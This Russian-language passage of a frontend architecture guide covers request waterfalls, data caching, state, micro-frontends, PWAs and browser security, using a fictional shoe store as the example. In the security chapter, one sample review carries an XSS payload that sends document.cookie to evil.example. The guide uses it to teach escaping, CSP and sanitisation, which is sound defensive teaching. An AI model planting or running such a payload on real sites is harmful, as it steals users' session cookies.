Cache-Control: no-cache          # можно хранить, но перед показом спросить: не изменилось?
ETag: "v42-8d1e"                # не изменилось → ответ 304 без тела, несколько сотен байт
Проще говоря. HTML — «оглавление», его всегда проверяют свежим. Всё остальное — «главы» с номером версии в имени, их кешируют навсегда. Новый релиз = новое оглавление со ссылками на новые главы. Старые главы никто не перезаписывает. Подробнее о кешах — в разделе , о выпуске — в главе 14.
  • «Объём JavaScript, загружаемого до первого показа любой публичной страницы, — не более 170 КБ в сжатом виде. Проверяется в конвейере сборки; превышение блокирует выпуск».
  • «Изображения товаров отдаются в AVIF или WebP с размером под экран устройства; главное фото карточки не превышает 150 КБ».

глава 7 · водопад водопад запросов: шесть виджетов на одной странице

Карточка товара «Ботинка» состоит из шести блоков, и у каждого свой источник данных: шапка с пользователем и корзиной, сам товар, цена и наличие, отзывы, рекомендации, сроки доставки. В SPA каждый блок-компонент сам ходит за своими данными. Борис замечает в DevTools «лесенку»: запросы идут не разом, а друг за другом.

Водопад запросов (request waterfall) — запросы выстраиваются лесенкой: следующий начинается только после того, как закончился предыдущий. Каждая ступенька стоит минимум одного круга по сети туда и обратно.
поликлиника. Чтобы попасть к окулисту, нужна справка от терапевта, а к терапевту — талон из регистратуры. Три окна, три очереди подряд. Если бы регистратура сразу выдала все три талона, вы прошли бы быстрее, хотя врачи работают с той же скоростью.

Откуда берутся ступеньки

Компонент внутри компонента

Родитель загрузил данные и только потом отрисовал детей. Дети начинают свою загрузку после этого. Глубина дерева = число ступенек. Самая частая причина.

Код, потом данные

Ленивый кусок кода сначала скачивается, и только после выполнения узнаёт, какие данные ему нужны. Код → данные → картинка: три ступеньки подряд.

Настоящая зависимость

Чтобы спросить сроки доставки, нужен город Анны, а он — в профиле. Рекомендации нужны «по категории товара». Это честная ступенька, но её можно пройти на сервере, где круг стоит 1 мс, а не 150.

N запросов на страницу

Шесть блоков — восемь запросов из браузера. Каждый со своими заголовками, cookie, проверкой токена. Это тот же N+1, что в базе данных, только по мобильной сети.

// ступенька: дети начинают грузиться, когда родитель уже загрузился
function ProductPage({ id }) {
  const product = useFetch(`/api/products/${id}`);       // ступенька 1
  if (!product) return <Skeleton />;
  return <><Price id={id} /><Recs category={product.category} /></>; // ступенька 2
}

// лучше: всё, что можно, запрашиваем разом на уровне маршрута
async function loader({ params }) {
  const [product, price, reviews] = await Promise.all([
    api.product(params.id), api.price(params.id), api.reviews(params.id) ]);
  return { product, price, reviews, recs: api.recs(product.category) }; // честная зависимость
}

Пульт: шесть виджетов, четыре способа загрузки

Код приложения уже в кеше телефона (повторный визит), Анна переходит на карточку. Выберите способ и сеть и нажмите «▶ Загрузить». Справа — страница: блоки заполняются по мере прихода данных. Ниже — водопад, как во вкладке «Сеть».

Способ
Сеть Анны
0 мс
карточка товара
Что заложено в модель. Сервисы отвечают: профиль — 80 мс, корзина — 60, товар — 120, цена — 70, остаток — 90, отзывы — 150, рекомендации — 250, доставка — 100. Корзина и доставка зависят от профиля, рекомендации — от категории товара. Внутри дата-центра круг между сервисами — 2 мс. В режиме «сервер рисует» ещё 60 мс уходит на отрисовку HTML и 80 КБ — на его доставку.
Проще говоря. Медленная мобильная сеть наказывает не за байты, а за число ступенек. Параллельность убирает лишние ступеньки, BFF и серверная отрисовка переносят оставшиеся честные ступеньки туда, где круг стоит 2 мс вместо 150. BFF со стороны сервера разобран в разделе , а здесь — главное для фронта: BFF пишет и выпускает команда фронтенда, под свои экраны.

глава 8 · данные как фронтенд получает, хранит и обновляет данные

Водопад починили. Теперь Вера решает, чем ходить за данными и как их держать в браузере, чтобы при возврате на страницу не ждать снова, а после нажатия «♥» сердечко загоралось сразу.

REST или GraphQL с клиента

Основы обоих подходов — в разделе . Здесь — что меняется, когда клиент — браузер на мобильной сети.

GraphQL — язык запросов: клиент сам описывает, какие поля ему нужны, и получает ровно их одним ответом. Обычно один адрес /graphql и метод POST.
REST — комплексные обеды: «обед №2» всегда из супа, второго и компота, даже если компот вы не пьёте, а за хлебом надо идти к другому окну. GraphQL — шведская линия: каждый собирает на поднос ровно своё, за один проход.
# один запрос вместо пяти: товар, цена, наличие, 3 отзыва, рекомендации
query ProductPage($id: ID!) {
  product(id: $id) {
    title  photos(size: MOBILE) { url width height }
    price { amount currency }   stock { sizes { size available } }
    reviews(first: 3) { rating text author { name } }
    recommendations(first: 4) { id title price { amount } }
  }
}

BFF глазами фронтенда

BFF (Backend for Frontend, «бэкенд для фронтенда») — небольшой сервер под конкретный клиент: у сайта свой, у мобильного приложения свой. Он собирает данные из сервисов и отдаёт ровно то, что нужно экрану.
личный помощник, который ходит по кабинетам за вас и приносит одну папку, сложенную так, как вам удобно читать.

Что даёт фронтенду

Один запрос на экран вместо восьми. Форма данных — под экран, а не под схему базы. Можно менять ответ вместе с выпуском фронта, ни с кем не согласовывая. Здесь же хранятся токены доступа: браузеру — только cookie (раздел , глава о браузере).

Кто владеет

Команда фронтенда. Если BFF правит команда бэкенда по заявкам, он превращается в обычный API с лишним прыжком. Обычно BFF пишут на TypeScript рядом с фронтом — часто это просто серверная часть Next.js или Nuxt.

Чем опасен

Расползается: туда утекает бизнес-логика («скидка считается в BFF сайта»), и у сайта и приложения начинаются разные цены. Правило: BFF собирает и перекладывает, но не решает. Для мобильного BFF помните: старые версии приложения живут месяцами — ответ должен оставаться совместимым.

Серверные данные — это кеш: TanStack Query и SWR

Кеш запросов (query cache) — хранилище ответов сервера в браузере, где у каждого ответа есть ключ (например, ['product', 42]), время получения и срок свежести. Библиотеки TanStack Query (версия 5) и SWR берут на себя: показать сохранённое сразу, тихо обновить в фоне, не слать два одинаковых запроса одновременно, повторить после сбоя, обновить при возврате на вкладку и при восстановлении сети.
блокнот у секретаря: на вопрос «какой курс доллара?» она сразу читает записанный утром, а если запись старше часа — параллельно звонит в банк уточнить и исправляет запись.

Попробуйте сами. Это упрощённая модель того, как ведёт себя TanStack Query. Главная настройка — staleTime: сколько ответ считается свежим. По умолчанию — 0: показываем сохранённое, но сразу перепроверяем.

Срок свежести (staleTime)
Что видит Анна
Кеш запросов в браузере
Частая ошибка. Скопировать ответ сервера в глобальное хранилище (Redux) и дальше синхронизировать вручную: «после покупки не забыть обновить корзину в сторе, в шапке и в списке». Серверные данные принадлежат серверу; у фронта — их кеш с правилами свежести. Об этом — глава 9.

Оптимистичное обновление

Оптимистичное обновление (optimistic update) — интерфейс показывает результат действия сразу, не дожидаясь ответа сервера, а если сервер ответил ошибкой — откатывает и честно сообщает.
официант кивает «будет сделано» и записывает заказ, не дожидаясь, пока кухня ответит «есть продукты». Если продуктов нет — возвращается и извиняется. Чаще всего продукты есть, и гостю приятнее не ждать.
Где нельзя. Оплата, оформление заказа, списание бонусов — всё, где «показали успех, а потом откатили» обманывает человека и может стоить денег. Оптимизм — для лайков, избранного, отметок «прочитано», порядка в списке.

Списки: страницы, «показать ещё» и бесконечная лента

Номера страниц

Номер страницы — в адресе (?page=3): ссылкой можно поделиться, поисковик пройдёт по всем страницам, «назад» возвращает туда же. Для сервера — смещение или курсор (раздел , глава о пагинации).

«Показать ещё»

Компромисс: подгрузка по кнопке. Подвал сайта достижим, позиция в списке понятна. Курсорная пагинация на сервере — чтобы новые товары не сдвигали страницы.

Бесконечная лента

Подгрузка при прокрутке. Нужна виртуализация: в DOM только видимые 20–30 строк, иначе через 2000 товаров телефон захлебнётся. Восстановление позиции при возврате «назад». Подвал недостижим — ссылки «Доставка» и «Контакты» переносят.

Живые данные: статус заказа без перезагрузки

Анна оформила заказ и смотрит на экран статуса: «Собирается» → «Передан курьеру». Как узнать о смене статуса, не дёргая сервер каждую секунду? Нажмите на строку.

  • «При повторном открытии карточки в течение сессии данные показываются из кеша мгновенно и обновляются в фоне; цена и наличие считаются свежими не дольше 30 с».
  • «Статус заказа на экране обновляется не позже чем через 10 с после изменения на сервере; после обрыва сети клиент переподключается сам, без перезагрузки страницы».

глава 9 · состояние где хранить состояние и кто источник правды

Борис добавил товар в корзину. Цифра в шапке обновилась, а в выпадающей мини-корзине — нет. Олег открыл ссылку, которую прислала Анна, — и увидел каталог без её фильтров. Обе беды — про состояние.

Состояние (state) — данные, которые меняются, пока человек пользуется интерфейсом, и от которых зависит, что нарисовано: открыто ли меню, что лежит в корзине, какой фильтр выбран, что набрано в поле.
доска в учительской: расписание, кто заболел, где ключ от спортзала. Если у каждого учителя своя копия на бумажке, к обеду копии разойдутся, и двое придут в один кабинет.
Источник правды (single source of truth) — у каждого факта ровно одно место, где он «настоящий». Всё остальное — производные значения или кеши с правилами обновления. Хотите узнать правду — идёте туда, а не к копии.

Пять мест для состояния

🗄 Серверное

Принадлежит серверу: товары, цены, корзина, заказы, профиль. У фронта — только кеш (глава 8). Инструменты: TanStack Query, SWR, RTK Query, Apollo Client.

🔗 В адресе (URL)

То, чем хочется поделиться ссылкой и что должно пережить обновление страницы и кнопку «назад»: фильтры, сортировка, номер страницы, поисковый запрос, открытая вкладка.

🌍 Глобальное клиентское

Нужно многим далёким компонентам и не живёт на сервере: тема, язык интерфейса, открыт ли чат, очередь уведомлений-«тостов». Его обычно мало.

📍 Локальное

Нужно одному компоненту: раскрыт ли список размеров, наведён ли курсор, какой слайд галереи. Живёт внутри компонента и умирает вместе с ним.

📝 Состояние формы

Черновик ввода, ошибки проверки, «поле трогали», «форма отправляется». Отдельные библиотеки (React Hook Form) и схемы проверки (Zod) — те же правила проверки можно использовать и на сервере.

💾 Постоянное в браузере

localStorage, IndexedDB, cookie: переживает закрытие вкладки. Для настроек и черновиков. Для токенов — нет (глава 13).

Инструменты для клиентского состояния

Нажмите на строку.

Проще говоря. Сначала спросите «чьё это?». Сервера — кеш запросов. Нужно в ссылке — URL. Нужно одному компоненту — локально. И только остаток — в глобальное хранилище. Когда так разложено, глобального становится так мало, что спор «Redux или Zustand» теряет остроту.

Тренажёр: где хранить это состояние

Решено 0 из 0.

  • «Выбранные фильтры, сортировка и номер страницы каталога отражаются в адресе страницы: ссылка воспроизводит выдачу, кнопка “назад” возвращает к прежним фильтрам».
  • «Черновик отзыва сохраняется в браузере и восстанавливается при случайном закрытии вкладки в течение 24 часов».

глава 10 · структура кода компоненты, дизайн-система, Feature-Sliced Design и монорепозиторий

В репозитории сайта 3000 файлов. Папка components/ содержит 400 компонентов вперемешку: кнопка, модальное окно оплаты, график отзывов. Любая правка задевает чужое. Новичок неделю ищет, где лежит логика корзины. Вера предлагает навести порядок в трёх слоях: компоненты, дизайн-система, архитектура папок.

Компонент — самостоятельный кусок интерфейса со своей разметкой, стилями и поведением, который можно вставить в разные места: «Кнопка», «Карточка товара», «Выбор размера». Страница собирается из компонентов, как стена из кирпичей.
Дизайн-система — единый набор правил и готовых компонентов интерфейса: цвета, шрифты, отступы (в виде токенов — именованных переменных), кнопки, поля, модальные окна, — с документацией и примерами (часто в Storybook). Её выпускают как отдельный пакет, и ею пользуются все команды.
конструктор LEGO. Детали стандартные, крепления одинаковые, цвета из одной палитры. Каждая команда собирает свою модель, но все модели стыкуются друг с другом и выглядят как из одного набора.
/* токены: смысл, а не конкретный цвет — тема меняется в одном месте */
:root {
  --color-action:   var(--brand-600);   /* «главная кнопка», а не «синий» */
  --space-m:        16px;
  --radius-control: 8px;
  --font-body:      "Inter", system-ui, sans-serif;
}
// компонент из библиотеки: доступность и состояния уже внутри
import { Button } from '@botinok/ui';
<Button variant="primary" loading={isPending}>В корзину</Button>
Кто владеет дизайн-системой. Отдельная команда платформы или выделенные люди. Она выпускает версии, пишет журнал изменений и помогает переезжать. Без владельца дизайн-система за год превращается в «три разные кнопки, и все называются Button».

Feature-Sliced Design: архитектура папок

Feature-Sliced Design (FSD) — методология раскладки кода фронтенда по слоям (по уровню ответственности), срезам (по бизнес-областям) и сегментам (по техническому назначению). Главное правило: модуль может импортировать только из слоёв ниже себя.
многоэтажный торговый центр. Верхние этажи опираются на нижние, а не наоборот: фундамент ничего не знает о кинотеатре на крыше. И магазины на одном этаже не прорубают стены друг к другу — общаются через общий коридор.
Слой (сверху вниз)Что внутриПример «Ботинка»
appЗапуск приложения: маршруты, провайдеры, глобальные стилиapp/router.tsx, app/providers.tsx
pagesСтраницы целиком, со своей логикойpages/product, pages/catalog
widgetsКрупные самостоятельные блоки страницыwidgets/header, widgets/recommendations
featuresДействия пользователя, которые переиспользуютсяfeatures/add-to-cart, features/choose-size
entitiesБизнес-сущности: их данные и отображениеentities/product, entities/user, entities/order
sharedОбщее без бизнес-смысла: UI-кит, клиент API, утилитыshared/ui/Button, shared/api
src/features/add-to-cart/        ← срез: одна бизнес-возможность
  ui/AddToCartButton.tsx        ← сегмент ui: отображение
  model/useAddToCart.ts         ← сегмент model: логика и состояние
  api/addToCart.ts              ← сегмент api: запросы
  index.ts                      ← публичный API среза: снаружи импортируют только отсюда

Только вниз

features может брать из entities и shared, но не из widgets и pages. Иначе появляются циклы, и правка «внизу» ломает всё «наверху».

Не вбок

Срезы одного слоя не импортируют друг друга: features/add-to-cart не знает о features/favorites. Если им нужно общее — оно опускается ниже или собирается выше.

Через публичный API

Снаружи — только из index.ts среза. Внутренности можно переделывать свободно. Проверяет линтер — например, официальный Steiger.

Как сейчас. В версии FSD 2.1 рекомендован подход «сначала страницы»: код живёт в странице, пока он нужен одной странице, и опускается в features или entities только при настоящем повторном использовании. Слой processes устарел. Связь с разделом : срезы FSD — это бизнес-границы, та же идея, что у сервисов, только внутри одного приложения.

Тренажёр: можно ли так импортировать?

Решено 0 из 0.

Монорепозиторий

Монорепозиторий (monorepo) — один репозиторий, в котором живут несколько приложений и пакетов: сайт, админка, мобильное приложение, дизайн-система, общий клиент API и типы. Инструменты: рабочие пространства pnpm, Nx, Turborepo — они знают, какие пакеты задела правка, и собирают и тестируют только их.
общая кухня в коммунальной квартире, но с подписанными полками и графиком. Соль одна на всех — не надо покупать каждому, а кто занял чужую полку, видно сразу.
botinok/
  apps/web          ← сайт (Next.js)
  apps/admin        ← админка склада (Vite + React)
  apps/mobile       ← приложение (React Native)
  packages/ui       ← дизайн-система
  packages/api-client ← клиент API и типы, сгенерированные из OpenAPI
  CODEOWNERS        ← кто отвечает за каждую папку и одобряет правки

Выигрываем

Одна правка API-клиента сразу видна сайту, админке и приложению — компилятор подсветит, где сломалось. Одна версия React и дизайн-системы. Общие правила линтера и сборки.

Платим

Нужны инструменты, иначе сборка всего идёт час. Права и владение — через CODEOWNERS. Выпуск остаётся раздельным: монорепозиторий — про код, а не про общий релиз.

  • «Все публичные страницы используют компоненты дизайн-системы @botinok/ui; собственные варианты кнопок, полей и модальных окон не допускаются без согласования с командой платформы».

глава 11 · микрофронтенды четыре команды, одна страница

Команда фронтенда «Ботинка» выросла до четырёх: Каталог, Корзина и оплата, Рекомендации, Личный кабинет — плюс маленькая команда Платформы (дизайн-система, сборка). Все правят одно приложение. Выпуск — общим «поездом» раз в две недели. Во вторник Каталог доделал новые фильтры — они ждут девять дней. В четверг у Рекомендаций нашли ошибку — поезд не ушёл ни у кого. На каждый релиз — конфликты слияния в общих файлах.

Закон Конвея (Conway's law, 1968) — «организации проектируют системы, которые копируют структуру их коммуникаций». Четыре команды, вынужденные договариваться о каждом релизе, получают систему, которая требует договариваться о каждом релизе.
четыре бригады строят один дом с одной общей бетономешалкой. Пока она занята у соседей, ваша бригада стоит, хотя у вас всё готово. Можно купить каждой бригаде свою — но тогда договоритесь хотя бы о марке бетона.

Подробно о законе Конвея и устройстве команд — в разделе , о нарезке по бизнес-границам — в , о стилях архитектуры — в .

Микрофронтенд (micro-frontend) — часть интерфейса, которую одна команда разрабатывает, тестирует и выпускает независимо, от кнопок до своего BFF. В браузере части собираются в одну страницу.
фуд-корт в торговом центре. У каждого кафе своя кухня, меню и часы завоза — и никто не ждёт соседа, чтобы поменять меню. Но зал, подносы, вывески и касса — общие, иначе гости потеряются.
Оболочка (shell, host, контейнер) — приложение, которое загружает микрофронтенды и отвечает за общее: маршрутизацию верхнего уровня, вход, шапку и подвал, общие библиотеки, обработку сбоев.

Режем по бизнесу, а не по технике

Микрофронтенд «Корзина» — это корзина целиком: экран, логика, свой BFF, своя команда. Нарезка «одна команда делает кнопки, другая — формы» ничего не даёт: любая фича снова требует всех.

Независимость — главная цель

Если команда Каталога не может выпустить фильтры, пока не выпустится оболочка, — это не микрофронтенды, а монолит с лишними шагами. Проверка простая: сколько команд надо позвать, чтобы выкатить фичу одной из них?

Способы собрать страницу из частей

Нажмите на строку, чтобы раскрыть подробности.

Module Federation: оболочка подключает Каталог во время работы
// конфигурация сборки оболочки (Vite, Rspack, webpack — плагины MF 2.0)
federation({
  name: 'shell',
  remotes: {
    catalog: 'catalog@https://cdn.botinok.ru/catalog/mf-manifest.json',
  },
  shared: {
    react:       { singleton: true, requiredVersion: '^19.0.0' },
    'react-dom': { singleton: true, requiredVersion: '^19.0.0' },
  },
});
// в коде оболочки: кусок чужой команды как ленивый компонент
const Catalog = lazy(() => import('catalog/Page'));
Карта импортов и single-spa
<script type="importmap">
{ "imports": {
  "react": "https://cdn.botinok.ru/libs/react@19.2/index.js",
  "@botinok/catalog": "https://cdn.botinok.ru/catalog/v1.4.2/main.js"
} }
</script>
// оболочка на single-spa: кто активен на каком адресе
registerApplication({
  name: '@botinok/catalog',
  app: () => import('@botinok/catalog'),
  activeWhen: ['/catalog'],
});
Серверная композиция: Edge Side Includes
<main>
  <esi:include src="https://catalog.internal/fragment/product/42"/>
  <esi:include src="https://recs.internal/fragment?item=42" onerror="continue"/>
</main>
Как сейчас. Module Federation появилась в webpack 5 (2020). Версия 2.0 стала стабильной в феврале 2026: независимый от сборщика рантайм, манифест вместо одного файла remoteEntry.js, подсказки типов TypeScript между командами, удаление неиспользуемого кода в общих зависимостях; плагины есть для webpack, Rspack, Vite и других. Карты импортов (import maps) поддерживаются всеми основными браузерами с 2023 года; несколько карт на одной странице — пока не везде.

Пульт: оболочка и четыре микрофронтенда

Выберите способ сборки. Потом устраивайте события и смотрите, что происходит со страницей Анны, весом JavaScript и командами. Включите «границы ошибок», чтобы увидеть, как сбой остаётся в своём блоке.

Способ сборки
Почему так
Журнал

Что придётся решить в любом способе

Общие зависимости и версии

React, роутер, дизайн-система должны быть одной копией — иначе страница тяжелеет, а компоненты из разных копий React ломаются («Invalid hook call»). Нужна политика: команда платформы задаёт допустимые версии, обновления идут волнами, у каждой команды есть срок переезда.

Общий вид

Единая дизайн-система (глава 10) как общий пакет с токенами. Стили изолируют: CSS-модули, префиксы классов или Shadow DOM у веб-компонентов. Визуальные тесты ловят «у Каталога кнопки стали круглее».

Маршрутизация

Оболочка владеет верхним уровнем адресов: /catalog/* → Каталог, /cart/* → Корзина. Внутри своего префикса команда решает сама. История браузера одна на всех: кнопка «назад» должна работать через границы.

Обмен событиями

Микрофронтенды не лезут в состояние друг друга. Общаются через адрес страницы, события в браузере и API. Событие — такой же контракт, как API: имя, поля, версия.

// Каталог сообщает: товар добавлен. Корзина в шапке слушает и обновляет счётчик.
window.dispatchEvent(new CustomEvent('botinok:cart:item-added', {
  detail: { v: 1, sku: 'BEG-42', size: 42, qty: 1 }
}));
window.addEventListener('botinok:cart:item-added', e => cart.refetch());
Чем платим. Инфраструктура на каждую команду (свой конвейер, свой путь на CDN, манифест); риск разнобоя в интерфейсе; дубли библиотек и лишний вес; ошибки интеграции, которые видно только в собранной странице; сложнее сквозные тесты; наблюдаемость с пометкой «чей это блок» (раздел ).
Когда микрофронтенды НЕ нужны. Одна-две команды; продукт молодой и границы ещё меняются; критична скорость на слабых телефонах, а бюджет на платформу мал. Микрофронтенды решают организационную проблему — независимые выпуски многих команд, — а не техническую. Часто хватает модульного фронтенда: FSD с чёткими владельцами срезов, монорепозиторий и CODEOWNERS.
  • «Каждый микрофронтенд выпускается своей командой без выпуска оболочки и других микрофронтендов; время от слияния правки до продакшена — не более 1 часа».
  • «Сбой загрузки или ошибка в микрофронтенде “Рекомендации” не влияет на работу карточки, корзины и оплаты: вместо блока показывается заглушка, событие уходит в мониторинг с пометкой команды».

глава 12 · офлайн и PWA метро, тоннель, дача: сайт, который работает без сети

Анна едет в метро. Между станциями сеть пропадает. Мобильное приложение «Ботинка» показывает каталог и избранное — данные сохранены. А сайт показывает браузерную заглушку «Нет подключения к интернету». Олег спрашивает: «Нам обязательно делать приложение, чтобы работать без сети?» Нет — для многого хватит браузера.

PWA (progressive web app, прогрессивное веб-приложение) — сайт, который можно установить на домашний экран и который ведёт себя как приложение: свой значок, окно без адресной строки, работа без сети, уведомления. Техническая основа — HTTPS, файл-манифест и service worker.
Service worker — скрипт, который браузер запускает отдельно от страницы. Он стоит между страницей и сетью как посредник: перехватывает каждый запрос и решает, ответить из своего кеша, сходить в сеть или сделать и то и другое. Работает только на HTTPS (и на localhost для разработки).
консьерж в доме. Вы просите свежую газету. Он смотрит, нет ли её у него на столе; если нет — идёт в киоск; если киоск закрыт — отдаёт вчерашнюю и честно говорит, что она вчерашняя.

1. Установка (install)

Страница регистрирует скрипт. Браузер скачивает его и вызывает событие install: здесь заранее кладут в кеш «оболочку» приложения — HTML, стили, скрипты, значки.

2. Активация (activate)

Удаляем кеши прошлых версий. Новая версия service worker по умолчанию ждёт, пока закроют все вкладки со старой, — чтобы на одной странице не смешались две версии. Ускорить можно (skipWaiting), но осознанно.

3. Перехват (fetch)

Каждый запрос страницы проходит через обработчик fetch. Для разных адресов — разные стратегии: статика из кеша, цены из сети, картинки «кеш и обновление».

Пульт: service worker и пропавшая сеть

Выберите стратегию, открывайте каталог и товар, меняйте цену на сервере и обрывайте сеть. Пакеты летят по схеме, справа — что видит Анна и что лежит в кеше.

Стратегия для каталога и товаров
Сеть
Что видит Анна
Кеш service worker (Cache Storage)
Очередь отложенных действий
СтратегияКак работаетДля чего в «Ботинке»
Сначала кеш (cache-first)Есть в кеше — сразу отдать, в сеть не ходить. Нет — сеть и сохранить.Скрипты и стили с хешем в имени, шрифты, значки: они не меняются
Сначала сеть (network-first)Пробуем сеть; не ответила или ответила за таймаут — отдаём из кеша.HTML страниц, цены, наличие, статус заказа: важна свежесть, но лучше старое, чем ничего
Кеш + обновление (stale-while-revalidate)Сразу отдаём из кеша и одновременно идём в сеть, чтобы обновить кеш к следующему разу.Каталог, отзывы, аватарки: допустимо на минуту устаревшее
Только сеть (network-only)Кеш не трогаем.Оплата, оформление заказа, вход: никаких «вчерашних» ответов
Только кеш (cache-only)Только то, что положили при установке.Страница «Вы не в сети», логотип

Названия стратегий — из библиотеки Workbox, которой обычно и пишут service worker.

Манифест и установка

// /manifest.webmanifest — подключается в HTML: <link rel="manifest" href="/manifest.webmanifest">
{
  "name": "Ботинок — кроссовки и кеды",
  "short_name": "Ботинок",
  "start_url": "/?source=pwa",
  "display": "standalone",              // окно без адресной строки
  "icons": [
    { "src": "/icons/192.png", "sizes": "192x192", "type": "image/png" },
    { "src": "/icons/512.png", "sizes": "512x512", "type": "image/png" }
  ]
}

Установка

Chromium-браузеры на Android и компьютерах сами предлагают «Установить приложение». На iPhone и iPad — только через «Поделиться → На экран „Домой“»: это придётся объяснять в интерфейсе. Веб-уведомления на iOS работают с версии 16.4 и только у установленного на экран сайта.

Фоновая синхронизация

Background Sync: действие, сделанное без сети («♥ в избранное»), кладётся в очередь, и браузер сам отправит его, когда сеть вернётся, даже если вкладку закрыли. Есть только в Chromium-браузерах; в Safari и Firefox — отправляем при следующем открытии сайта.

Место и вытеснение

Cache Storage и IndexedDB ограничены квотой и могут быть очищены браузером. Safari удаляет данные сайта, если им не пользовались 7 дней (кроме установленных на экран). Офлайн-данные — это кеш, а не надёжное хранилище.

Офлайн — это требования к интерфейсу, а не только к кешу. Что показать без сети? Как пометить устаревшую цену («цена на 14:05»)? Что делать с действиями без сети — запретить, поставить в очередь, предупредить? Что будет, если за время офлайна товар закончился? Эти вопросы отвечает аналитик, а не service worker.

Мобильное приложение: натив, кроссплатформа или PWA

Нажмите на строку.

Главное для аналитика. Сайт обновляется у всех за минуты. Мобильное приложение — через проверку в магазине приложений, и часть людей сидит на старой версии месяцами. Поэтому API для приложения обязан долго оставаться совместимым со старыми версиями (раздел , глава о версиях), а в приложении нужен механизм «обновитесь, эта версия больше не поддерживается».
  • «Без сети доступны: просмотренные за последние 7 дней карточки товаров, избранное и история заказов. Цены в офлайне помечаются временем последнего обновления. Оформление заказа без сети недоступно, кнопка объясняет почему».
  • «Добавление в избранное без сети сохраняется локально и отправляется на сервер автоматически при восстановлении соединения».

глава 13 · безопасность браузер — чужая территория: XSS, CSP, токены, CORS, CSRF и npm

Вся защита сервера бесполезна, если вредный скрипт выполняется прямо на странице «Ботинка» — у Анны в браузере, с её cookie и её правами. Здесь — только браузерная часть. Угрозы целиком, OWASP Top 10 и нулевое доверие — в разделе , токены — в .

XSS (cross-site scripting, межсайтовый скриптинг) — чужой JavaScript выполняется на вашей странице. Всё, что может ваш код, может и он: читать страницу, отправлять запросы от имени пользователя, подменять реквизиты оплаты.
в офис под видом курьера зашёл посторонний. Он может взять всё со столов и звонить с вашего телефона от имени компании. Сейф, к которому у него нет ключа, он не откроет.
<!-- покупатель оставил «отзыв» — а страница вставила его как HTML -->
Отличные кроссовки! <img src="x" onerror="fetch('https://evil.example/?c=' + document.cookie)">

// React экранирует текст сам: {review.text} — безопасно.
// Опасны вставки «как HTML»:
<div dangerouslySetInnerHTML={{ __html: review.text }} />   // и element.innerHTML = …, v-html во Vue
// если HTML действительно нужен — очистить: DOMPurify.sanitize(review.html)
CSP (Content Security Policy, политика безопасности содержимого) — заголовок ответа, в котором сайт перечисляет, откуда браузеру можно грузить и выполнять скрипты, стили, картинки и куда отправлять запросы. Всё остальное браузер блокирует — даже если вредный код уже попал на страницу.
список гостей на входе в зал. Даже если посторонний пробрался в здание, охрана у двери зала проверит пропуск и не пустит его к микрофону.

Конструктор CSP: что блокирует каждая строчка

Слева — шесть реальных атак на «Ботинок». Включайте части политики и смотрите, какие атаки браузер остановит. Внизу — получившийся заголовок.

Откуда можно выполнять скрипты

    
Как вводить CSP. Сначала в режиме Content-Security-Policy-Report-Only: браузер ничего не блокирует, но присылает отчёты о нарушениях. Неделю собираем отчёты, чиним свои встроенные скрипты, потом включаем настоящую политику. Одноразовый ключ (nonce) генерирует сервер на каждый ответ и ставит его в заголовок и во все свои теги <script>. С февраля 2026 года во всех основных браузерах есть Trusted Types — запрет опасных вставок вроде innerHTML без проверки.

Где хранить токены

Не так: токен в localStorage

Любой скрипт на странице — свой, сторонний или внедрённый через XSS — читает localStorage и уносит токен. Украденный токен работает с любого компьютера, пока не истечёт.

Так: BFF и cookie

Токены живут на сервере, в BFF. Браузер получает только cookie сессии с флагами HttpOnly (скрипт её не видит), Secure (только HTTPS), SameSite и префиксом имени __Host-. Подробно, с атаками по шагам, — в разделе .

Set-Cookie: __Host-session=7f3c…; Path=/; Secure; HttpOnly; SameSite=Strict

CORS: кто кому разрешает читать

Политика одного источника (same-origin policy) — скрипт со страницы одного источника (схема + домен + порт) не может читать ответы с другого источника. CORS (Cross-Origin Resource Sharing) — способ, которым сервер явно разрешает чтение своих ответов страницам с других источников, через заголовки Access-Control-Allow-*.
в бизнес-центре посетитель с пропуском одного офиса не может забрать почту другого офиса. Если другой офис заранее сказал охране «этому соседу почту выдавать можно» — выдадут.
CORS — не защита сервера. Это защита пользователя в браузере: чтобы чужая страница не прочитала его данные с вашего API от его имени. Запрос из curl или с сервера злоумышленника CORS не остановит. Серверу по-прежнему нужны аутентификация и проверка прав. И никогда Access-Control-Allow-Origin: * вместе с cookie — браузер это и не позволит.

CSRF: запрос от имени Анны с чужого сайта

CSRF (cross-site request forgery, подделка межсайтового запроса) — злой сайт заставляет браузер Анны отправить запрос на botinok.ru. Браузер приложит её cookie, и сервер решит, что это сделала она: сменила адрес доставки, подписалась, купила.
мошенник присылает вам заполненный бланк перевода и просит «просто расписаться внизу». Подпись настоящая — и банк выполнит перевод.

SameSite у cookie

SameSite=Lax (в Chromium — по умолчанию) или Strict: cookie не уходит с запросами, начатыми чужим сайтом (кроме обычных переходов по ссылке для Lax).

Свой заголовок или токен

BFF принимает изменения только с заголовком, который ставит наш код (например, X-Requested-With), или с CSRF-токеном в форме. Чужой сайт не может добавить заголовок к запросу на наш домен без разрешения CORS.

Проверка источника

Сервер смотрит заголовки Origin и Sec-Fetch-Site: запрос пришёл со своего сайта или с чужого? Чужой — отказ.

Цепочка поставок: чужой код, который стал вашим

В сайте «Ботинка» 40 прямых зависимостей из npm и больше тысячи косвенных. Плюс скрипты аналитики, чата и рекламы прямо на странице. Каждая из них выполняется с правами вашего кода.

Как это случается

Июнь 2024, polyfill.io. Домен популярного сервиса полифилов купила другая компания, и скрипт начал подмешивать вредный код на больше чем 100 000 сайтов, которые подключали его напрямую с этого домена.
8 сентября 2025, chalk и debug. Мейнтейнер популярных пакетов npm попался на фишинговое письмо «от поддержки npm». В пакеты с миллиардами скачиваний в неделю на пару часов попал код, подменявший адреса криптокошельков в браузере.

Что делать

Файл блокировки версий (lockfile) и npm ci в сборке; новые зависимости — через ревью; автоматический поиск уязвимостей (npm audit, Dependabot, Renovate); не ставить версию в первые дни после выхода; не запускать скрипты установки пакетов без нужды (pnpm 10 по умолчанию их не запускает); список компонентов (SBOM). Сторонние скрипты — хранить у себя или подключать с проверкой целостности.

SRI (Subresource Integrity, проверка целостности подресурса) — атрибут integrity с хешем файла. Браузер скачает скрипт, посчитает хеш и выполнит, только если хеш совпал. Подменили файл на CDN — браузер его не выполнит.
<script src="https://cdn.example.com/lib@3.2.1/lib.min.js"
        integrity="sha384-oqVuAfXRKap7fdgcCY5uykM6+R9GqQ8K/uxy9rx7HNQlGYl1kPzQho1wx4JwY8wC"
        crossorigin="anonymous"></script>
